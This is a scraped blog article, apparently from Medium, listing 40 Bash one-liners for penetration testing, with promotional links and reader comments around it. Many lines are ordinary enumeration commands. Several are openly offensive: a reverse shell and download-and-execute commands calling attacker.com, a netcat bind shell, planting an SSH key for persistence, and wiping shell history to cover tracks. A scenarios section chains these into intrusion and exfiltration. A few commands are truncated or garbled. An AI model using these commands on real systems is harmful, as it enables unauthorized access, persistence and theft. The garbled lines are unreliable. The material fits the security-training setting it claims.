

- Home
- Library
- Profile
- Stories
- Stats

Following

- Python in Plain En... •
- The Useful Tech •
- Generative AI •
- AI Quick Tips •
- Dev Genius •
- Realworld AI Use C... •
- AI Mind •
- Level Up Coding •
- Top Python Librari... •
- All About ChatGPT •
- ▼ More

★ Member-only story

40 Bash One-Liners Every Hacker Should Know: Master Essential Command-Line Skills for Pentesting



Very Lazy Tech

Follow

9 min read · Dec 25, 2025



376



6



Ever watched a seasoned pentester work? You'll see their fingers flying over the keyboard, hammering out cryptic Bash one-liners that pull off what looks like magic — except it's not magic. It's muscle memory and hard-earned knowledge. The real question: are you ready to join that league? If Bash isn't in your hacking toolkit yet, you're missing out on the fastest way to automate, escalate, and dominate in the terminal.

Every cybersecurity pro, bug bounty hunter, and CTF enthusiast hits a point where GUI tools just don't cut it. You need speed. Precision. Full control. Bash one-liners deliver all three. Today, you'll learn 40 Bash one-liners — practical, punchy, and proven useful everywhere from privilege escalation scripts to shell escapes during real-world engagements. So grab your terminal, and let's dive deep into the command-line powers every hacker should master.



Photo by [James Harrison](#) on [Unsplash](#)

• • •

Why Bash One-Liners Matter in Cybersecurity

Let's get something straight: hacking isn't just about flashy exploits or zero-days. In real pentests, it's often the small, precise commands that tip the scales. Bash one-liners can:

- Quickly enumerate a compromised system
- Extract sensitive info for privilege escalation
- Launch reverse shells for RCE scenarios
- Crunch data for bug bounty recon and OSINT
- Chain with SQLi/XSS payloads for lateral movement

In practice, what really happens is — if you can't manipulate the system using a single line in Bash, you're probably wasting time. Here's how to sharpen that edge.

• • •

The Bash One-Liner Arsenal: 40 Essential Commands

This isn't theory. These are the commands you'll see in real pentesting reports, CTF write-ups, and bug bounty hunt notes. Each is bundled with example usage — copy, paste, tweak, and go.

Find All SUID Binaries (for Privilege Escalation)

SUID binaries are gold mines. Use this to enumerate them:

```
find / -perm -4000 -type f 2>/dev/null
```

Why care? Attackers often look for misconfigured SUIDs to escalate privileges. You'd be surprised what gets left behind.

. . .

2. Search for World-Writable Files

Spot weak file permissions in one shot:

```
find / -type f -perm -2 -ls 2>/dev/null
```

This one-liner sweeps the entire filesystem for files anyone can write to — a classic source of privilege escalation in real-world Linux boxes.

. . .

3. List All Open Network Ports

Need a quick map of open sockets?

```
netstat -tulnp 2>/dev/null
```

Or, if netstat isn't available:

```
ss -tulnp
```

You'll find these useful for initial enumeration after an RCE or shell access.

. . .

4. Scan for Alive Hosts in a Subnet

Suppose you pop a shell but want to pivot. Scan the local network:

```
for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip | grep "64 bytes" & done
```

Replace `192.168.1` with your target subnet. The cool part? You'll quickly see which hosts are live, even from a limited shell.

. . .

5. Download a File Without wget or curl

Some systems block your favorite tools. Use Bash's built-in:

```
echo "GET /evil.sh HTTP/1.0\r\n" | nc yourhost.com 80 > evil.sh
```

Honestly, I've used this in the wild when curl/wget were missing.

. . .

6. Simple HTTP Server in One Line

Need to exfiltrate data or host a payload?

```
python3 -m http.server 8000
```

Or, if Python 2 is the only option:

```
python -m SimpleHTTPServer 8000
```

Copy files straight from your attacker machine with nothing but a browser or `curl`.

. . .

7. Reverse Shell with Bash Only

Classic for RCE scenarios:

```
bash -i >& /dev/tcp/attacker.com/4444 0>&1
```

Got a firewall? Sometimes it's as simple as picking an allowed port.

. . .

8. Grab the Crontab for All Users

Automated tasks often hold secrets (or can be abused):

```
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null;
```

Try this after gaining root or sudo access.

. . .

9. Find All Files Containing a Specific Keyword

Hunting for credentials or API keys? Use grep recursively:

```
grep -Ri 'password' /etc 2>/dev/null
```

Replace 'password' with your target string. I once found AWS keys this way in a bug bounty environment — no joke.

. . .

10. Enumerate All Running Processes (with Full Arguments)

You want to see **everything** (maybe spot secrets in process args):

```
ps auxww
```

The extra `ww` ensures no output is truncated.

. . .

11. Extract All IPs from a File

Perfect for recon or log analysis:

```
grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' filename.txt | sort -u
```

Replace `filename.txt` with your target. Handy for parsing large logs on bug bounty targets.

. . .

12. List All Listening Services and Their Executables

Triangulate which service is running on which port:

```
lsof -i -P -n | grep LISTEN
```

Spot the oddball service in seconds.

. . .

13. One-Liner Base64 Encode/Decode

Obfuscate or deobfuscate payloads on the fly:

```
echo 'yourstring' | base64  
echo 'b3BlbnNlc2FtZQ==' | base64 -d
```

Useful for hiding commands in XSS or SQLi payloads.

. . .

14. Identify Files Newer than X Minutes

Spot files dropped by malware or recent attackers:

```
find /tmp -type f -mmin -10 2>/dev/null
```

Shows files modified in the last 10 minutes. Adjust `/tmp` and `-10` as needed.

. . .

15. Replace a String in All Files in a Directory

Sometimes you need to mass-edit configs or payloads:

```
find . -type f -exec sed -i 's/oldstring/newstring/g' {} +
```

Great for quickly swapping out hardcoded IPs or tokens.

. . .

16. Download and Execute a Script in Memory

For environments with locked-down filesystems:

```
curl http://attacker.com/payload.sh | bash
```

Or:

```
wget -q0- http://attacker.com/payload.sh | bash
```

All in memory — leaves little trace on disk.

. . .

17. Find All Hidden Files and Directories

Admins love hiding stuff with a dot. Find them all:

```
find / -name ".*" 2>/dev/null
```

Often used in CTFs to stash flags or creds.

. . .

18. Check for Recent Logins

Good for spotting active users (or your own tracks):

```
last -a | head -10
```

Adjust the number as you like.

• • •

19. List All Environment Variables

Secrets sometimes slip into the environment — great for AWS creds or API tokens:

```
env
```

Or, dump to a file:

```
env > /tmp/envdump.txt
```

• • •

20. Quickly Set Up a Netcat Bind Shell

If you want the target to listen for a connection:

```
nc -lvnp 4444 -e /bin/bash
```

Or, for BusyBox:

```
nc -l -p 4444 -e /bin/sh
```

Great for lateral movement during internal pentesting.

. . .

21. Get Internal IP Address

When you're in a shell and unsure where you landed:

```
hostname -I
```

Or, with `ip`:

```
ip addr show | grep 'inet ' | awk '{print $2}'
```

. . .

22. Enumerate Current User Privileges

See what you can sudo (with or without a password):

```
sudo -l
```

Don't skip this after any privilege escalation. Surprisingly often, you'll find scripts or binaries that let you break out.

. . .

23. Search for SSH Keys

Attackers love snagging private keys:

```
find /home -name "id_rsa*" 2>/dev/null
```

Sometimes they're left in `/root` or `/etc/ssh/`. Worth checking.

. . .

24. Find World-Readable Password Files

Targets files that anyone can read:

```
find / -type f -name "*pass*" -perm -o=r 2>/dev/null
```

You'll be shocked what surfaces.

. . .

25. Check All Users with UID 0 (Root, or “Fake” Roots)

Sometimes systems have more than one root user:

```
awk -F: '($3 == "0") {print $1}' /etc/passwd
```

I’ve seen this in misconfigured Docker containers and old legacy systems.

. . .

26. Download and Unzip a File in One Go

Streamline payload delivery:

```
curl -sL http://attacker.com/payload.zip | funzip > payload.sh
```

Requires `funzip`, but super handy when available.

. . .

27. List Files by Size

Identify suspiciously large files (maybe exfil dumps):

```
find / -type f -exec du -h {} + | sort -rh | head -20
```

Usually, legit files don’t blow up in size out of nowhere.

. . .

28. One-Liner Directory Bruteforce

If you don't have gobuster or wfuzz:

```
for word in $(cat wordlist.txt); do curl -s -o /dev/null -w "%{http_code} %
```

Scan for hidden admin panels or backup directories.

. . .

29. List All USB Devices (Great for Forensics)

Sneaky exfil via USB? Spot them here:

```
lsusb
```

Or, for more info:

```
dmesg | grep -i usb
```

. . .

30. Get Quick System Info

See kernel, uptime, and OS version:

```
uname -a; uptime; cat /etc/os-release
```

Helpful for narrowing down privilege escalation vectors.

• • •

31. Check Which Users Are Currently Logged In

Sometimes useful for targeting lateral movement:

```
who
```

Or, with more detail:

```
w
```

• • •

32. Find All Writable Directories

Attackers love directories they can drop files in:

```
find / -type d -perm -2 -ls 2>/dev/null
```

Focus your privilege escalation efforts here.

• • •

33. List Services with Systemctl

For modern systems running systemd:

```
systemctl list-units --type=service
```

34. Substitute Text in a File and Overwrite In-Place

Check which services are running, which might be abus

Sometimes you just need to patch a config:

```
sed -i 's/old/new/g' file.txttable.
```

Keep it handy for shell escapes and privilege escalation scripts.

. . .

35. List Recently Installed Packages

Spot suspicious installations (malware, rootkits):

```
grep "install " /var/log/dpkg.log
```

On Red Hat/CentOS:

```
grep "Installed:" /var/log/yum.log
```

. . .

36. Find Files Owned by a Specific User

Suppose you compromise a minor user, but want to see what root owns:

```
find / -user root 2>/dev/null
```

Flip the username as required.

. . .

37. Get a List of All Running Services (init.d style)

Some environments are still old-school:

```
service --status-all 2>&1 | grep '+'
```

Or, for SysV:

```
/etc/init.d/* status
```

. . .

38. Append Your SSH Key to Authorized Keys

Quick persistence, classic trick:

```
echo "ssh-rsa AAAAB3... attacker@host" >> ~/.ssh/authorized_keys
```

Obviously, swap in your public key.

. . .

39. Quick and Dirty Port Scanner

No nmap? Bash and /dev/tcp to the rescue:

```
for port in {1..1024}; do (echo > /dev/tcp/target/port) >/dev/null 2>&1 && echo $port
```

Replace `target` with the host IP. It's not stealthy, but it works in a pinch.

. . .

40. Wipe Bash History and Cover Tracks

Sometimes you need to leave no trace:

```
history -c && history -w && unset HISTFILE
```

Remember: In some shells or restricted environments, this doesn't always work — but it's a start.

. . .

Practical Bash One-Liner Scenarios

Privilege Escalation After a Shell

So, you land a basic shell. Now what? Most pros immediately hunt for privilege escalation vectors — misconfigured SUIDs, writable files, or hidden credentials.

- Use #1 and #2 to map out SUIDs and world-writable files.
- #9 and #24 help you fish for stray passwords or API tokens.
- #22 and #25 help you spot sudo rights and extra-root users.

Exploiting RCE and Gaining Persistence

Let's say you find an RCE in a webapp (SQLi or command injection). Want your reverse shell fast?

- Grab #7 to pop a Bash reverse shell.
- If that fails, try #20 for a Netcat variant.
- Use #38 to add your SSH key for persistent access.

Recon and Data Exfiltration

Enumerate quickly:

- #10, #12, #21 for mapping the box and services.
- #5 and #6 for downloading and exfiltrating files.
- #27 to spot big, juicy exfil targets.

OSINT and Bug Bounty Recon

These aren't just for post-exploitation. Use #11, #28, and #39 for recon tasks — discovering endpoints, parsing logs, or scanning subnets.

. . .

Bash One-Liner Tips for Real Hackers

- **Chain creatively:** Most of these commands can be piped, redirected, or wrapped into short scripts for automation.
- **Modify for context:** Don't be afraid to swap directories, usernames, or IPs. Adapt them for your target.
- **Use stealth when needed:** Many one-liners can be made more subtle (rate-limiting scans, randomized sleep, etc.).
- **Practice makes habit:** The coolest part? These lines get faster and easier the more you actually use them. They become second nature—just like knowing where to find a hidden flag in a CTF.

. . .

Final Thoughts: From One-Liner to Command Line Master

You might think Bash is just for sysadmins or old-school hackers — nope. I've seen these one-liners tip the balance in real pentests, bug bounty hunts, Red Team ops, you name it. The deepest privilege escalations and the stealthiest persistence tricks often start with a single, sharp Bash command.

Copy these, tweak for your needs, and — most importantly — use them often. The real power comes from making the terminal an extension of your own hands. Before you know it, you'll be the one hammering out magic at the speed of thought.

Ready to level up? Open that terminal and start experimenting. The Bash playground is yours.

. . .

Become a VeryLazyTech Member — Get Instant Access

What you get today:

✅ 70GB Google Drive packed with cybersecurity content

✅ 3 full courses to level up fast

👉 Join the Membership → <https://whop.com/verylazytech/>

Need Specific Resources?

✅ Instantly download the **best hacking guides**, OSCP prep kits, cheat sheets, and scripts used by real security pros.

👉 Visit the Shop → <https://whop.com/verylazytech/>

Stay in the Loop

Want quick tips, free tools, and sneak peeks?

✂ <https://x.com/verylazytech/>

|  <https://github.com/verylazytech/>

|  <https://youtube.com/@verylazytech/>

|  <https://t.me/+mSGyb008VL40MmVk/>

|  <https://www.verylazytech.com/>

Hacking

Penetration Testing

Cybersecurity

Ethical Hacking

Bug Bounty



Written by Very Lazy Tech 🤖

8.6K followers · 980 following

Follow



🤖 Cybersecurity Expert | 🐱 Ethical Hacker | 🕵️ Penetration Tester

Responses (6)



Pancake Agree

What are your thoughts?



Hexadecimal Brain

Jan 3



Great list, cudos



20

[Reply](#)



Purclot

Dec 25, 2025



Very helpful and not just academic stuff to show off.



14

[Reply](#)



Shespelt

Jan 16



Good list. Very minor nitpicking point: many of these have nothing to do with Bash. The various commands will run in any number of shells, Bash is just one of them. But, yeah, Bash is my favorite shell. Especially for scripting OS operations.

Appreciate your articles.



13

[Reply](#)

[See all responses](#)

More from the list: "Reading list"

Curated by Pancake Agree

Reza Rezvani

How to Build Claude Code Agents from Scratch —...

★

· 6d ago

In The Ai Stud... by Ai stud...

How to Build an AI Agent in 15 Minutes Using...

★

· 4d ago

In The Ai Stud... A

How to C Agents T

★

· Feb 1

>

[View list](#)

More from Very Lazy Tech 🤖

Very Lazy Tech 🐙

Hardware Hacking: 12 Tools That Changed Pentesting Forever...

Ever heard of a \$30 gadget opening up a corporate network in less than five...

★ Feb 24 🖱️ 63 💬 3



Very Lazy Tech 🐙

DNS Pentesting Guide: How Hackers Exploit Port 53 (Zone...

DNS (Domain Name System) is a critical protocol that acts as the internet's...

★ Mar 15 🖱️ 74 💬 1



Very Lazy Tech 🐙

Burp Suite Automation: 12 Custom Extensions That Save...

Ever spent hours manually fuzzing inputs or hunting for XSS, only to find out you...

★ Feb 18 🖱️ 46



Very Lazy Tech 🐙

Master Windows CMD: 100+ Essential Commands for...

When it comes to penetration testing and ethical hacking, Windows Command...

★ Mar 14 🖱️ 15



See all from Very Lazy Tech 🐙

Recommended from Medium

 In CodeX by MayhemCode

You Are Probably Buying the Wrong Machine for Local AI —...

There is a quiet war happening on the desks of AI enthusiasts right now. On one...

★ Mar 20 🖱 1.7K 💬 33  ⋮

 In Write A Catalyst by DevOps voice

🔥 IPTABLES (Linux Firewall)—Complete Practical Guide

Kernel-Level Firewall Explained with Real-World Rules, Use Cases & Admin...

★ Dec 24, 2025 🖱 211 💬 5  ⋮

 In System Weakness by BugHunter's Journal

The Bug Bounty Automation Stack That Can Generate \$10K...

Automation doesn't find bugs. Automated workflows combined with manual...

★ Dec 17, 2025 🖱️ 474 💬 5 🗨️ ...

 In ILLUMINATION by Sufyan Maan, M.Eng

I Woke Up at 4:30 AM Every Day for 30 Days — Here Is What...

Here is what actually happened, from someone who did it & tracked everything.

★ 14h ago 🖱️ 6K 💬 279 🗨️ ...

 Dhanush N

Don't Become a DevOps Engineer in 2026!

Stop writing YAML. Stop babysitting pipelines. The game has fundamentally...

★ Mar 2 🖱️ 358 💬 14 🗨️ ...

 Very Lazy Tech 🐙

Google Dorks 2025 Edition: 150+ Dorks & Tools for Ethical Hacke...

Ever wondered how attackers find sensitive data, vulnerable servers, or...

★ Jan 6 🖱️ 141 🗨️ ...

See more recommendations